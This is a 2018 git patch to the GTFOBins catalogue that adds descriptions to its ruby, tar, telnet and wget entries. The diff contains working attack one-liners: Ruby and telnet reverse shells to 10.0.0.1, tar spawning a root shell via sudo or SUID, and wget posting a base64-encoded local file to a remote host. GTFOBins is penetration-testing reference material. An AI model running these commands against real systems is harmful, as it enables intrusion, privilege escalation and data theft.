From 158291baa4cbbaf50bb117106db3cace1d73dcf0 Mon Sep 17 00:00:00 2001 From: Emilio Pinna Date: Tue, 22 May 2018 21:22:20 +0100 Subject: [PATCH] Add missing descriptions --- _gtfobins/ruby.md | 15 ++++++++------- _gtfobins/tar.md | 3 +-- _gtfobins/telnet.md | 5 +++-- _gtfobins/wget.md | 4 ++-- 4 files changed, 14 insertions(+), 13 deletions(-) diff --git a/_gtfobins/ruby.md b/_gtfobins/ruby.md index 9fb7b09..8c2bdb6 100644 --- a/_gtfobins/ruby.md +++ b/_gtfobins/ruby.md @@ -4,16 +4,17 @@ functions: - code: ruby -e 'exec "/bin/sh"' sudo-enabled: - code: sudo ruby -e 'exec "/bin/sh"' - reverse-shell: - - code: | - export RHOST=10.0.0.1 - export RPORT=8000 - ruby -rsocket -e 'exit if fork;c=TCPSocket.new(ENV["RHOST"],ENV["RPORT"]);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' - load-library: - - code: ruby -e 'require "fiddle"; Fiddle.dlopen("lib.so")' upload: - description: Serve files in the local folder running an HTTP server. code: | export LPORT=8888 ruby -run -e httpd . -p $LPORT + reverse-shell: + - description: Run `nc -l -p 8000` to receive the shell on the other end. + code: | + export RHOST=10.0.0.1 + export RPORT=8000 + ruby -rsocket -e 'exit if fork;c=TCPSocket.new(ENV["RHOST"],ENV["RPORT"]);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' + load-library: + - code: ruby -e 'require "fiddle"; Fiddle.dlopen("lib.so")' --- \ No newline at end of file diff --git a/_gtfobins/tar.md b/_gtfobins/tar.md index f9ada95..98014f0 100644 --- a/_gtfobins/tar.md +++ b/_gtfobins/tar.md @@ -5,6 +5,5 @@ functions: sudo-enabled: - code: sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh suid-limited: - - code: ./tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec="/bin/sh - -p" + - code: ./tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec="/bin/sh -p" --- \ No newline at end of file diff --git a/_gtfobins/telnet.md b/_gtfobins/telnet.md index 3240601..a6f2bcd 100644 --- a/_gtfobins/telnet.md +++ b/_gtfobins/telnet.md @@ -9,8 +9,9 @@ functions: !/bin/sh description: MacOS only. reverse-shell: - - code: | - RHOST=127.0.0.1 + - description: Run `nc -l -p 8000` to receive the shell on the other end. + code: | + RHOST=10.0.0.1 RPORT=8000 TF=$(mktemp) rm $TF diff --git a/_gtfobins/wget.md b/_gtfobins/wget.md index b4ab2d8..9aca2dd 100644 --- a/_gtfobins/wget.md +++ b/_gtfobins/wget.md @@ -1,14 +1,14 @@ --- functions: upload: - - description: Send base64-encoded local file via "d" parameter of a HTTP POST request. + - description: Send base64-encoded local file via "d" parameter of a HTTP POST request. Run an HTTP service to collect the file on the other end. code: | export URL=http://10.0.0.1/ export LFILE=file_to_send wget --post-data="d=$(base64 $LFILE | tr -d '\n')" $URL download: - description: Fetch a remote file via HTTP GET request. - code: |- + code: | export URL=http://10.0.0.1/file_to_get export LFILE=file_to_get wget $URL -O $LFILE